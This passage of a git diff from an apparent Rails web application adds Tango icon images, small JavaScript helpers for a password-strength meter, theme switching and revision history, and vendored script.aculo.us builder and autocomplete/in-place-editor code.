file mode 100644 index 0000000..f12d452 Binary files /dev/null and b/public/images/tango/mail-mark-junk.png differ diff --git a/public/images/tango/mail-message-new.png b/public/images/tango/mail-message-new.png new file mode 100644 index 0000000..7c68cb8 Binary files /dev/null and b/public/images/tango/mail-message-new.png differ diff --git a/public/images/tango/mail-reply-all.png b/public/images/tango/mail-reply-all.png new file mode 100644 index 0000000..2017b0a Binary files /dev/null and b/public/images/tango/mail-reply-all.png differ diff --git a/public/images/tango/mail-reply-sender.png b/public/images/tango/mail-reply-sender.png new file mode 100644 index 0000000..a619741 Binary files /dev/null and b/public/images/tango/mail-reply-sender.png differ diff --git a/public/images/tango/mail-send-receive.png b/public/images/tango/mail-send-receive.png new file mode 100644 index 0000000..3eb6a9c Binary files /dev/null and b/public/images/tango/mail-send-receive.png differ diff --git a/public/images/tango/media-eject.png b/public/images/tango/media-eject.png new file mode 100644 index 0000000..2084067 Binary files /dev/null and b/public/images/tango/media-eject.png differ diff --git a/public/images/tango/media-flash.png b/public/images/tango/media-flash.png new file mode 100644 index 0000000..62b1ede Binary files /dev/null and b/public/images/tango/media-flash.png differ diff --git a/public/images/tango/media-floppy.png b/public/images/tango/media-floppy.png new file mode 100644 index 0000000..f1d7a19 Binary files /dev/null and b/public/images/tango/media-floppy.png differ diff --git a/public/images/tango/media-optical.png b/public/images/tango/media-optical.png new file mode 100644 index 0000000..760de93 Binary files /dev/null and b/public/images/tango/media-optical.png differ diff --git a/public/images/tango/media-playback-pause.png b/public/images/tango/media-playback-pause.png new file mode 100644 index 0000000..c8b4fe2 Binary files /dev/null and b/public/images/tango/media-playback-pause.png differ diff --git a/public/images/tango/media-playback-start.png b/public/images/tango/media-playback-start.png new file mode 100644 index 0000000..a7de0fe Binary files /dev/null and b/public/images/tango/media-playback-start.png differ diff --git a/public/images/tango/media-playback-stop.png b/public/images/tango/media-playback-stop.png new file mode 100644 index 0000000..ede2815 Binary files /dev/null and b/public/images/tango/media-playback-stop.png differ diff --git a/public/images/tango/media-record.png b/public/images/tango/media-record.png new file mode 100644 index 0000000..2f66cde Binary files /dev/null and b/public/images/tango/media-record.png differ diff --git a/public/images/tango/media-seek-backward.png b/public/images/tango/media-seek-backward.png new file mode 100644 index 0000000..ffcac31 Binary files /dev/null and b/public/images/tango/media-seek-backward.png differ diff --git a/public/images/tango/media-seek-forward.png b/public/images/tango/media-seek-forward.png new file mode 100644 index 0000000..4d7e2cd Binary files /dev/null and b/public/images/tango/media-seek-forward.png differ diff --git a/public/images/tango/media-skip-backward.png b/public/images/tango/media-skip-backward.png new file mode 100644 index 0000000..94381f5 Binary files /dev/null and b/public/images/tango/media-skip-backward.png differ diff --git a/public/images/tango/media-skip-forward.png b/public/images/tango/media-skip-forward.png new file mode 100644 index 0000000..758ec6f Binary files /dev/null and b/public/images/tango/media-skip-forward.png differ diff --git a/public/images/tango/multimedia-player.png b/public/images/tango/multimedia-player.png new file mode 100644 index 0000000..461e9de Binary files /dev/null and b/public/images/tango/multimedia-player.png differ diff --git a/public/images/tango/network-server.png b/public/images/tango/network-server.png new file mode 100644 index 0000000..068ffeb Binary files /dev/null and b/public/images/tango/network-server.png differ diff --git a/public/images/tango/network-wired.png b/public/images/tango/network-wired.png new file mode 100644 index 0000000..3ac6b35 Binary files /dev/null and b/public/images/tango/network-wired.png differ diff --git a/public/images/tango/network-wireless.png b/public/images/tango/network-wireless.png new file mode 100644 index 0000000..2dc6250 Binary files /dev/null and b/public/images/tango/network-wireless.png differ diff --git a/public/images/tango/network-workgroup.png b/public/images/tango/network-workgroup.png new file mode 100644 index 0000000..5c140d8 Binary files /dev/null and b/public/images/tango/network-workgroup.png differ diff --git a/public/images/tango/package-x-generic.png b/public/images/tango/package-x-generic.png new file mode 100644 index 0000000..9015426 Binary files /dev/null and b/public/images/tango/package-x-generic.png differ diff --git a/public/images/tango/preferences-desktop-accessibility.png b/public/images/tango/preferences-desktop-accessibility.png new file mode 100644 index 0000000..b365c27 Binary files /dev/null and b/public/images/tango/preferences-desktop-accessibility.png differ diff --git a/public/images/tango/preferences-desktop-font.png b/public/images/tango/preferences-desktop-font.png new file mode 100644 index 0000000..18a0149 Binary files /dev/null and b/public/images/tango/preferences-desktop-font.png differ diff --git a/public/images/tango/preferences-desktop-locale.png b/public/images/tango/preferences-desktop-locale.png new file mode 100644 index 0000000..5ef73a6 Binary files /dev/null and b/public/images/tango/preferences-desktop-locale.png differ diff --git a/public/images/tango/preferences-desktop-peripherals.png b/public/images/tango/preferences-desktop-peripherals.png new file mode 100644 index 0000000..2a63cee Binary files /dev/null and b/public/images/tango/preferences-desktop-peripherals.png differ diff --git a/public/images/tango/preferences-desktop-screensaver.png b/public/images/tango/preferences-desktop-screensaver.png new file mode 100644 index 0000000..dc297db Binary files /dev/null and b/public/images/tango/preferences-desktop-screensaver.png differ diff --git a/public/images/tango/preferences-desktop-theme.png b/public/images/tango/preferences-desktop-theme.png new file mode 100644 index 0000000..fbea772 Binary files /dev/null and b/public/images/tango/preferences-desktop-theme.png differ diff --git a/public/images/tango/preferences-desktop-wallpaper.png b/public/images/tango/preferences-desktop-wallpaper.png new file mode 100644 index 0000000..e7cc834 Binary files /dev/null and b/public/images/tango/preferences-desktop-wallpaper.png differ diff --git a/public/images/tango/preferences-desktop.png b/public/images/tango/preferences-desktop.png new file mode 100644 index 0000000..68f916c Binary files /dev/null and b/public/images/tango/preferences-desktop.png differ diff --git a/public/images/tango/preferences-system.png b/public/images/tango/preferences-system.png new file mode 100644 index 0000000..9460dfc Binary files /dev/null and b/public/images/tango/preferences-system.png differ diff --git a/public/images/tango/printer.png b/public/images/tango/printer.png new file mode 100644 index 0000000..12a4e39 Binary files /dev/null and b/public/images/tango/printer.png differ diff --git a/public/images/tango/process-stop.png b/public/images/tango/process-stop.png new file mode 100644 index 0000000..ab6808f Binary files /dev/null and b/public/images/tango/process-stop.png differ diff --git a/public/images/tango/process-working.png b/public/images/tango/process-working.png new file mode 100644 index 0000000..984bde4 Binary files /dev/null and b/public/images/tango/process-working.png differ diff --git a/public/images/tango/rss.png b/public/images/tango/rss.png new file mode 100644 index 0000000..cc66f84 Binary files /dev/null and b/public/images/tango/rss.png differ diff --git a/public/images/tango/start-here.png b/public/images/tango/start-here.png new file mode 100644 index 0000000..bd516a5 Binary files /dev/null and b/public/images/tango/start-here.png differ diff --git a/public/images/tango/system-file-manager.png b/public/images/tango/system-file-manager.png new file mode 100644 index 0000000..60cade4 Binary files /dev/null and b/public/images/tango/system-file-manager.png differ diff --git a/public/images/tango/system-lock-screen.png b/public/images/tango/system-lock-screen.png new file mode 100644 index 0000000..f7ea0cd Binary files /dev/null and b/public/images/tango/system-lock-screen.png differ diff --git a/public/images/tango/system-log-out.png b/public/images/tango/system-log-out.png new file mode 100644 index 0000000..0010931 Binary files /dev/null and b/public/images/tango/system-log-out.png differ diff --git a/public/images/tango/system-search.png b/public/images/tango/system-search.png new file mode 100644 index 0000000..fd7f0b0 Binary files /dev/null and b/public/images/tango/system-search.png differ diff --git a/public/images/tango/system-software-update.png b/public/images/tango/system-software-update.png new file mode 100644 index 0000000..58f19c6 Binary files /dev/null and b/public/images/tango/system-software-update.png differ diff --git a/public/images/tango/text-html.png b/public/images/tango/text-html.png new file mode 100644 index 0000000..53014ab Binary files /dev/null and b/public/images/tango/text-html.png differ diff --git a/public/images/tango/text-x-generic-template.png b/public/images/tango/text-x-generic-template.png new file mode 100644 index 0000000..a0cc462 Binary files /dev/null and b/public/images/tango/text-x-generic-template.png differ diff --git a/public/images/tango/text-x-generic.png b/public/images/tango/text-x-generic.png new file mode 100644 index 0000000..2d7f2d6 Binary files /dev/null and b/public/images/tango/text-x-generic.png differ diff --git a/public/images/tango/text-x-script.png b/public/images/tango/text-x-script.png new file mode 100644 index 0000000..c923098 Binary files /dev/null and b/public/images/tango/text-x-script.png differ diff --git a/public/images/tango/user-desktop.png b/public/images/tango/user-desktop.png new file mode 100644 index 0000000..4c9787c Binary files /dev/null and b/public/images/tango/user-desktop.png differ diff --git a/public/images/tango/user-home.png b/public/images/tango/user-home.png new file mode 100644 index 0000000..13d2c00 Binary files /dev/null and b/public/images/tango/user-home.png differ diff --git a/public/images/tango/user-trash.png b/public/images/tango/user-trash.png new file mode 100644 index 0000000..0e0953c Binary files /dev/null and b/public/images/tango/user-trash.png differ diff --git a/public/images/tango/utilities-system-monitor.png b/public/images/tango/utilities-system-monitor.png new file mode 100644 index 0000000..8734e77 Binary files /dev/null and b/public/images/tango/utilities-system-monitor.png differ diff --git a/public/images/tango/utilities-terminal.png b/public/images/tango/utilities-terminal.png new file mode 100644 index 0000000..c5b797a Binary files /dev/null and b/public/images/tango/utilities-terminal.png differ diff --git a/public/images/tango/video-display.png b/public/images/tango/video-display.png new file mode 100644 index 0000000..a73a169 Binary files /dev/null and b/public/images/tango/video-display.png differ diff --git a/public/images/tango/video-x-generic.png b/public/images/tango/video-x-generic.png new file mode 100644 index 0000000..64e7a30 Binary files /dev/null and b/public/images/tango/video-x-generic.png differ diff --git a/public/images/tango/view-fullscreen.png b/public/images/tango/view-fullscreen.png new file mode 100644 index 0000000..ffdabd4 Binary files /dev/null and b/public/images/tango/view-fullscreen.png differ diff --git a/public/images/tango/view-refresh.png b/public/images/tango/view-refresh.png new file mode 100644 index 0000000..3fd71d6 Binary files /dev/null and b/public/images/tango/view-refresh.png differ diff --git a/public/images/tango/window-new.png b/public/images/tango/window-new.png new file mode 100644 index 0000000..0e12ef9 Binary files /dev/null and b/public/images/tango/window-new.png differ diff --git a/public/images/tango/x-office-address-book.png b/public/images/tango/x-office-address-book.png new file mode 100644 index 0000000..f3b5d9d Binary files /dev/null and b/public/images/tango/x-office-address-book.png differ diff --git a/public/images/tango/x-office-calendar.png b/public/images/tango/x-office-calendar.png new file mode 100644 index 0000000..f6978d7 Binary files /dev/null and b/public/images/tango/x-office-calendar.png differ diff --git a/public/images/tango/x-office-document.png b/public/images/tango/x-office-document.png new file mode 100644 index 0000000..d18082e Binary files /dev/null and b/public/images/tango/x-office-document.png differ diff --git a/public/images/tango/x-office-presentation.png b/public/images/tango/x-office-presentation.png new file mode 100644 index 0000000..f7ea302 Binary files /dev/null and b/public/images/tango/x-office-presentation.png differ diff --git a/public/images/tango/x-office-spreadsheet.png b/public/images/tango/x-office-spreadsheet.png new file mode 100644 index 0000000..a6b1268 Binary files /dev/null and b/public/images/tango/x-office-spreadsheet.png differ diff --git a/public/javascripts/application.js b/public/javascripts/application.js new file mode 100644 index 0000000..e6f0cbc --- /dev/null +++ b/public/javascripts/application.js @@ -0,0 +1,83 @@ +events = {}; + +events['#password:keyup'] = function(element, e) { + passmeter(); +}; + +function startup() { + EventSelectors.start(events); + + var validation_box = $('validation'); + if(validation_box != null) new Effect.Appear(validation_box); + + $$('.highlight').each(function(e) { + new Effect.Highlight(e, {duration: 1.5}); + }); + + if(window.history_update) history_update(); +} + +spin_count = Array(); +function spinner_start(s) +{ + if(spin_count[s]) spin_count[s]++; + else spin_count[s] = 1; + + $("spinner_" + s).show(); +} + +function spinner_stop(s) +{ + spin_count[s]--; + if(spin_count[s] == 0) $("spinner_" + s).hide(); +} + +function passmeter() +{ + var pass = $F('password'); + var meter = $('passmeter'); + var nivel = 0; + + if(pass.length == 0) { + meter.innerHTML = " "; + return; + } + + if(pass.length >= 6) { + if(/[a-z_]/.test(pass)) nivel++; + if(/[A-Z]/.test(pass)) nivel++; + if(/[0-9]/.test(pass)) nivel++; + if(/\W/.test(pass)) nivel++; + + if(pass.length >= 10) nivel++; + } + + switch(nivel) { + case 0: case 1: + msg = "senha muito fraca"; + cor = "#d00"; + break; + + case 2: + msg = "senha fraca"; + cor = "#f50"; + break; + + case 3: + msg = "senha moderada"; + cor = "#090"; + break; + + case 4: default: + msg = "senha forte"; + cor = "#05f"; + break; + } + + meter.style.color = cor; + meter.innerHTML = msg; +} + +Ajax.Responders.register({ + onComplete: function() { EventSelectors.assign(events);} +}) diff --git a/public/javascripts/color.js b/public/javascripts/color.js new file mode 100644 index 0000000..e8eea5b --- /dev/null +++ b/public/javascripts/color.js @@ -0,0 +1,6 @@ +events['.color_radio:click'] = function(element, e) { + style = document.createElement('link'); + style.rel = 'Stylesheet'; + style.href = "/stylesheets/themes/color." + element.value + ".css"; + $$('head')[0].appendChild(style); +} diff --git a/public/javascripts/history.js b/public/javascripts/history.js new file mode 100644 index 0000000..96ecdd0 --- /dev/null +++ b/public/javascripts/history.js @@ -0,0 +1,29 @@ +radios = null; + +function history_from(k) { + radios_from = k; + history_update(); +} + +function history_to(k) { + radios_to = k; + history_update(); +} + +function history_update() +{ + if(radios == null) radios = document.getElementsByTagName("input"); + + for(i=0; i < radios.length; i += 2) { + if(radios[i].value >= radios_to) radios[i].style.visibility = 'hidden'; + else radios[i].style.visibility = 'visible'; + + if(radios[i+1].value <= radios_from) radios[i+1].style.visibility = 'hidden'; + else radios[i+1].style.visibility = 'visible'; + + if(radios[i].value == radios_from) radios[i].checked = true; + if(radios[i+1].value == radios_to) radios[i+1].checked = true; + } + +} + diff --git a/public/javascripts/lib/builder.js b/public/javascripts/lib/builder.js new file mode 100644 index 0000000..5b4ce87 --- /dev/null +++ b/public/javascripts/lib/builder.js @@ -0,0 +1,136 @@ +// script.aculo.us builder.js v1.7.1_beta3, Fri May 25 17:19:41 +0200 2007 + +// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +var Builder = { + NODEMAP: { + AREA: 'map', + CAPTION: 'table', + COL: 'table', + COLGROUP: 'table', + LEGEND: 'fieldset', + OPTGROUP: 'select', + OPTION: 'select', + PARAM: 'object', + TBODY: 'table', + TD: 'table', + TFOOT: 'table', + TH: 'table', + THEAD: 'table', + TR: 'table' + }, + // note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken, + // due to a Firefox bug + node: function(elementName) { + elementName = elementName.toUpperCase(); + + // try innerHTML approach + var parentTag = this.NODEMAP[elementName] || 'div'; + var parentElement = document.createElement(parentTag); + try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707 + parentElement.innerHTML = "<" + elementName + ">"; + } catch(e) {} + var element = parentElement.firstChild || null; + + // see if browser added wrapping tags + if(element && (element.tagName.toUpperCase() != elementName)) + element = element.getElementsByTagName(elementName)[0]; + + // fallback to createElement approach + if(!element) element = document.createElement(elementName); + + // abort if nothing could be created + if(!element) return; + + // attributes (or text) + if(arguments[1]) + if(this._isStringOrNumber(arguments[1]) || + (arguments[1] instanceof Array) || + arguments[1].tagName) { + this._children(element, arguments[1]); + } else { + var attrs = this._attributes(arguments[1]); + if(attrs.length) { + try { // prevent IE "feature": http://dev.rubyonrails.org/ticket/2707 + parentElement.innerHTML = "<" +elementName + " " + + attrs + ">"; + } catch(e) {} + element = parentElement.firstChild || null; + // workaround firefox 1.0.X bug + if(!element) { + element = document.createElement(elementName); + for(attr in arguments[1]) + element[attr == 'class' ? 'className' : attr] = arguments[1][attr]; + } + if(element.tagName.toUpperCase() != elementName) + element = parentElement.getElementsByTagName(elementName)[0]; + } + } + + // text, or array of children + if(arguments[2]) + this._children(element, arguments[2]); + + return element; + }, + _text: function(text) { + return document.createTextNode(text); + }, + + ATTR_MAP: { + 'className': 'class', + 'htmlFor': 'for' + }, + + _attributes: function(attributes) { + var attrs = []; + for(attribute in attributes) + attrs.push((attribute in this.ATTR_MAP ? this.ATTR_MAP[attribute] : attribute) + + '="' + attributes[attribute].toString().escapeHTML().gsub(/"/,'"') + '"'); + return attrs.join(" "); + }, + _children: function(element, children) { + if(children.tagName) { + element.appendChild(children); + return; + } + if(typeof children=='object') { // array can hold nodes and text + children.flatten().each( function(e) { + if(typeof e=='object') + element.appendChild(e) + else + if(Builder._isStringOrNumber(e)) + element.appendChild(Builder._text(e)); + }); + } else + if(Builder._isStringOrNumber(children)) + element.appendChild(Builder._text(children)); + }, + _isStringOrNumber: function(param) { + return(typeof param=='string' || typeof param=='number'); + }, + build: function(html) { + var element = this.node('div'); + $(element).update(html.strip()); + return element.down(); + }, + dump: function(scope) { + if(typeof scope != 'object' && typeof scope != 'function') scope = window; //global scope + + var tags = ("A ABBR ACRONYM ADDRESS APPLET AREA B BASE BASEFONT BDO BIG BLOCKQUOTE BODY " + + "BR BUTTON CAPTION CENTER CITE CODE COL COLGROUP DD DEL DFN DIR DIV DL DT EM FIELDSET " + + "FONT FORM FRAME FRAMESET H1 H2 H3 H4 H5 H6 HEAD HR HTML I IFRAME IMG INPUT INS ISINDEX "+ + "KBD LABEL LEGEND LI LINK MAP MENU META NOFRAMES NOSCRIPT OBJECT OL OPTGROUP OPTION P "+ + "PARAM PRE Q S SAMP SCRIPT SELECT SMALL SPAN STRIKE STRONG STYLE SUB SUP TABLE TBODY TD "+ + "TEXTAREA TFOOT TH THEAD TITLE TR TT U UL VAR").split(/\s+/); + + tags.each( function(tag){ + scope[tag] = function() { + return Builder.node.apply(Builder, [tag].concat($A(arguments))); + } + }); + } +} diff --git a/public/javascripts/lib/controls.js b/public/javascripts/lib/controls.js new file mode 100644 index 0000000..6783bd0 --- /dev/null +++ b/public/javascripts/lib/controls.js @@ -0,0 +1,875 @@ +// script.aculo.us controls.js v1.7.1_beta3, Fri May 25 17:19:41 +0200 2007 + +// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005-2007 Ivan Krstic (http://blogs.law.harvard.edu/ivan) +// (c) 2005-2007 Jon Tirsen (http://www.tirsen.com) +// Contributors: +// Richard Livsey +// Rahul Bhargava +// Rob Wills +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +// Autocompleter.Base handles all the autocompletion functionality +// that's independent of the data source for autocompletion. This +// includes drawing the autocompletion menu, observing keyboard +// and mouse events, and similar. +// +// Specific autocompleters need to provide, at the very least, +// a getUpdatedChoices function that will be invoked every time +// the text inside the monitored textbox changes. This method +// should get the text for which to provide autocompletion by +// invoking this.getToken(), NOT by directly accessing +// this.element.value. This is to allow incremental tokenized +// autocompletion. Specific auto-completion logic (AJAX, etc) +// belongs in getUpdatedChoices. +// +// Tokenized incremental autocompletion is enabled automatically +// when an autocompleter is instantiated with the 'tokens' option +// in the options parameter, e.g.: +// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' }); +// will incrementally autocomplete with a comma as the token. +// Additionally, ',' in the above example can be replaced with +// a token array, e.g. { tokens: [',', '\n'] } which +// enables autocompletion on multiple tokens. This is most +// useful when one of the tokens is \n (a newline), as it +// allows smart autocompletion after linebreaks. + +if(typeof Effect == 'undefined') + throw("controls.js requires including script.aculo.us' effects.js library"); + +var Autocompleter = {} +Autocompleter.Base = function() {}; +Autocompleter.Base.prototype = { + baseInitialize: function(element, update, options) { + element = $(element) + this.element = element; + this.update = $(update); + this.hasFocus = false; + this.changed = false; + this.active = false; + this.index = 0; + this.entryCount = 0; + + if(this.setOptions) + this.setOptions(options); + else + this.options = options || {}; + + this.options.paramName = this.options.paramName || this.element.name; + this.options.tokens = this.options.tokens || []; + this.options.frequency = this.options.frequency || 0.4; + this.options.minChars = this.options.minChars || 1; + this.options.onShow = this.options.onShow || + function(element, update){ + if(!update.style.position || update.style.position=='absolute') { + update.style.position = 'absolute'; + Position.clone(element, update, { + setHeight: false, + offsetTop: element.offsetHeight + }); + } + Effect.Appear(update,{duration:0.15}); + }; + this.options.onHide = this.options.onHide || + function(element, update){ new Effect.Fade(update,{duration:0.15}) }; + + if(typeof(this.options.tokens) == 'string') + this.options.tokens = new Array(this.options.tokens); + + this.observer = null; + + this.element.setAttribute('autocomplete','off'); + + Element.hide(this.update); + + Event.observe(this.element, 'blur', this.onBlur.bindAsEventListener(this)); + Event.observe(this.element, 'keypress', this.onKeyPress.bindAsEventListener(this)); + + // Turn autocomplete back on when the user leaves the page, so that the + // field's value will be remembered on Mozilla-based browsers. + Event.observe(window, 'beforeunload', function(){ + element.setAttribute('autocomplete', 'on'); + }); + }, + + show: function() { + if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update); + if(!this.iefix && + (Prototype.Browser.IE) && + (Element.getStyle(this.update, 'position')=='absolute')) { + new Insertion.After(this.update, + ''); + this.iefix = $(this.update.id+'_iefix'); + } + if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50); + }, + + fixIEOverlapping: function() { + Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)}); + this.iefix.style.zIndex = 1; + this.update.style.zIndex = 2; + Element.show(this.iefix); + }, + + hide: function() { + this.stopIndicator(); + if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update); + if(this.iefix) Element.hide(this.iefix); + }, + + startIndicator: function() { + if(this.options.indicator) Element.show(this.options.indicator); + }, + + stopIndicator: function() { + if(this.options.indicator) Element.hide(this.options.indicator); + }, + + onKeyPress: function(event) { + if(this.active) + switch(event.keyCode) { + case Event.KEY_TAB: + case Event.KEY_RETURN: + this.selectEntry(); + Event.stop(event); + case Event.KEY_ESC: + this.hide(); + this.active = false; + Event.stop(event); + return; + case Event.KEY_LEFT: + case Event.KEY_RIGHT: + return; + case Event.KEY_UP: + this.markPrevious(); + this.render(); + if(Prototype.Browser.WebKit) Event.stop(event); + return; + case Event.KEY_DOWN: + this.markNext(); + this.render(); + if(Prototype.Browser.WebKit) Event.stop(event); + return; + } + else + if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN || + (Prototype.Browser.WebKit > 0 && event.keyCode == 0)) return; + + this.changed = true; + this.hasFocus = true; + + if(this.observer) clearTimeout(this.observer); + this.observer = + setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); + }, + + activate: function() { + this.changed = false; + this.hasFocus = true; + this.getUpdatedChoices(); + }, + + onHover: function(event) { + var element = Event.findElement(event, 'LI'); + if(this.index != element.autocompleteIndex) + { + this.index = element.autocompleteIndex; + this.render(); + } + Event.stop(event); + }, + + onClick: function(event) { + var element = Event.findElement(event, 'LI'); + this.index = element.autocompleteIndex; + this.selectEntry(); + this.hide(); + }, + + onBlur: function(event) { + // needed to make click events working + setTimeout(this.hide.bind(this), 250); + this.hasFocus = false; + this.active = false; + }, + + render: function() { + if(this.entryCount > 0) { + for (var i = 0; i < this.entryCount; i++) + this.index==i ? + Element.addClassName(this.getEntry(i),"selected") : + Element.removeClassName(this.getEntry(i),"selected"); + if(this.hasFocus) { + this.show(); + this.active = true; + } + } else { + this.active = false; + this.hide(); + } + }, + + markPrevious: function() { + if(this.index > 0) this.index-- + else this.index = this.entryCount-1; + this.getEntry(this.index).scrollIntoView(true); + }, + + markNext: function() { + if(this.index < this.entryCount-1) this.index++ + else this.index = 0; + this.getEntry(this.index).scrollIntoView(false); + }, + + getEntry: function(index) { + return this.update.firstChild.childNodes[index]; + }, + + getCurrentEntry: function() { + return this.getEntry(this.index); + }, + + selectEntry: function() { + this.active = false; + this.updateElement(this.getCurrentEntry()); + }, + + updateElement: function(selectedElement) { + if (this.options.updateElement) { + this.options.updateElement(selectedElement); + return; + } + var value = ''; + if (this.options.select) { + var nodes = document.getElementsByClassName(this.options.select, selectedElement) || []; + if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select); + } else + value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal'); + + var lastTokenPos = this.findLastToken(); + if (lastTokenPos != -1) { + var newValue = this.element.value.substr(0, lastTokenPos + 1); + var whitespace = this.element.value.substr(lastTokenPos + 1).match(/^\s+/); + if (whitespace) + newValue += whitespace[0]; + this.element.value = newValue + value; + } else { + this.element.value = value; + } + this.element.focus(); + + if (this.options.afterUpdateElement) + this.options.afterUpdateElement(this.element, selectedElement); + }, + + updateChoices: function(choices) { + if(!this.changed && this.hasFocus) { + this.update.innerHTML = choices; + Element.cleanWhitespace(this.update); + Element.cleanWhitespace(this.update.down()); + + if(this.update.firstChild && this.update.down().childNodes) { + this.entryCount = + this.update.down().childNodes.length; + for (var i = 0; i < this.entryCount; i++) { + var entry = this.getEntry(i); + entry.autocompleteIndex = i; + this.addObservers(entry); + } + } else { + this.entryCount = 0; + } + + this.stopIndicator(); + this.index = 0; + + if(this.entryCount==1 && this.options.autoSelect) { + this.selectEntry(); + this.hide(); + } else { + this.render(); + } + } + }, + + addObservers: function(element) { + Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this)); + Event.observe(element, "click", this.onClick.bindAsEventListener(this)); + }, + + onObserverEvent: function() { + this.changed = false; + if(this.getToken().length>=this.options.minChars) { + this.getUpdatedChoices(); + } else { + this.active = false; + this.hide(); + } + }, + + getToken: function() { + var tokenPos = this.findLastToken(); + if (tokenPos != -1) + var ret = this.element.value.substr(tokenPos + 1).replace(/^\s+/,'').replace(/\s+$/,''); + else + var ret = this.element.value; + + return /\n/.test(ret) ? '' : ret; + }, + + findLastToken: function() { + var lastTokenPos = -1; + + for (var i=0; i lastTokenPos) + lastTokenPos = thisTokenPos; + } + return lastTokenPos; + } +} + +Ajax.Autocompleter = Class.create(); +Object.extend(Object.extend(Ajax.Autocompleter.prototype, Autocompleter.Base.prototype), { + initialize: function(element, update, url, options) { + this.baseInitialize(element, update, options); + this.options.asynchronous = true; + this.options.onComplete = this.onComplete.bind(this); + this.options.defaultParams = this.options.parameters || null; + this.url = url; + }, + + getUpdatedChoices: function() { + this.startIndicator(); + + var entry = encodeURIComponent(this.options.paramName) + '=' + + encodeURIComponent(this.getToken()); + + this.options.parameters = this.options.callback ? + this.options.callback(this.element, entry) : entry; + + if(this.options.defaultParams) + this.options.parameters += '&' + this.options.defaultParams; + + new Ajax.Request(this.url, this.options); + }, + + onComplete: function(request) { + this.updateChoices(request.responseText); + } + +}); + +// The local array autocompleter. Used when you'd prefer to +// inject an array of autocompletion options into the page, rather +// than sending out Ajax queries, which can be quite slow sometimes. +// +// The constructor takes four parameters. The first two are, as usual, +// the id of the monitored textbox, and id of the autocompletion menu. +// The third is the array you want to autocomplete from, and the fourth +// is the options block. +// +// Extra local autocompletion options: +// - choices - How many autocompletion choices to offer +// +// - partialSearch - If false, the autocompleter will match entered +// text only at the beginning of strings in the +// autocomplete array. Defaults to true, which will +// match text at the beginning of any *word* in the +// strings in the autocomplete array. If you want to +// search anywhere in the string, additionally set +// the option fullSearch to true (default: off). +// +// - fullSsearch - Search anywhere in autocomplete array strings. +// +// - partialChars - How many characters to enter before triggering +// a partial match (unlike minChars, which defines +// how many characters are required to do any match +// at all). Defaults to 2. +// +// - ignoreCase - Whether to ignore case when autocompleting. +// Defaults to true. +// +// It's possible to pass in a custom function as the 'selector' +// option, if you prefer to write your own autocompletion logic. +// In that case, the other options above will not apply unless +// you support them. + +Autocompleter.Local = Class.create(); +Autocompleter.Local.prototype = Object.extend(new Autocompleter.Base(), { + initialize: function(element, update, array, options) { + this.baseInitialize(element, update, options); + this.options.array = array; + }, + + getUpdatedChoices: function() { + this.updateChoices(this.options.selector(this)); + }, + + setOptions: function(options) { + this.options = Object.extend({ + choices: 10, + partialSearch: true, + partialChars: 2, + ignoreCase: true, + fullSearch: false, + selector: function(instance) { + var ret = []; // Beginning matches + var partial = []; // Inside matches + var entry = instance.getToken(); + var count = 0; + + for (var i = 0; i < instance.options.array.length && + ret.length < instance.options.choices ; i++) { + + var elem = instance.options.array[i]; + var foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase()) : + elem.indexOf(entry); + + while (foundPos != -1) { + if (foundPos == 0 && elem.length != entry.length) { + ret.push("
  • " + elem.substr(0, entry.length) + "" + + elem.substr(entry.length) + "
  • "); + break; + } else if (entry.length >= instance.options.partialChars && + instance.options.partialSearch && foundPos != -1) { + if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) { + partial.push("
  • " + elem.substr(0, foundPos) + "" + + elem.substr(foundPos, entry.length) + "" + elem.substr( + foundPos + entry.length) + "
  • "); + break; + } + } + + foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) : + elem.indexOf(entry, foundPos + 1); + + } + } + if (partial.length) + ret = ret.concat(partial.slice(0, instance.options.choices - ret.length)) + return "
      " + ret.join('') + "
    "; + } + }, options || {}); + } +}); + +// AJAX in-place editor +// +// see documentation on http://wiki.script.aculo.us/scriptaculous/show/Ajax.InPlaceEditor + +// Use this if you notice weird scrolling problems on some browsers, +// the DOM might be a bit confused when this gets called so do this +// waits 1 ms (with setTimeout) until it does the activation +Field.scrollFreeActivate = function(field) { + setTimeout(function() { + Field.activate(field); + }, 1); +} + +Ajax.InPlaceEditor = Class.create(); +Ajax.InPlaceEditor.defaultHighlightColor = "#FFFF99"; +Ajax.InPlaceEditor.prototype = { + initialize: function(element, url, options) { + this.url = url; + this.element = $(element); + + this.options = Object.extend({ + paramName: "value", + okButton: true, + okLink: false, + okText: "ok", + cancelButton: false, + cancelLink: true, + cancelText: "cancel", + textBeforeControls: '', + textBetweenControls: '', + textAfterControls: '', + savingText: "Saving...", + clickToEditText: "Click to edit", + okText: "ok", + rows: 1, + onComplete: function(transport, element) { + new Effect.Highlight(element, {startcolor: this.options.highlightcolor}); + }, + onFailure: function(transport) { + alert("Error communicating with the server: " + transport.responseText.stripTags()); + }, + callback: function(form) { + return Form.serialize(form); + }, + handleLineBreaks: true, + loadingText: 'Loading...', + savingClassName: 'inplaceeditor-saving', + loadingClassName: 'inplaceeditor-loading', + formClassName: 'inplaceeditor-form', + highlightcolor: Ajax.InPlaceEditor.defaultHighlightColor, + highlightendcolor: "#FFFFFF", + externalControl: null, + submitOnBlur: false, + ajaxOptions: {}, + evalScripts: false + }, options || {}); 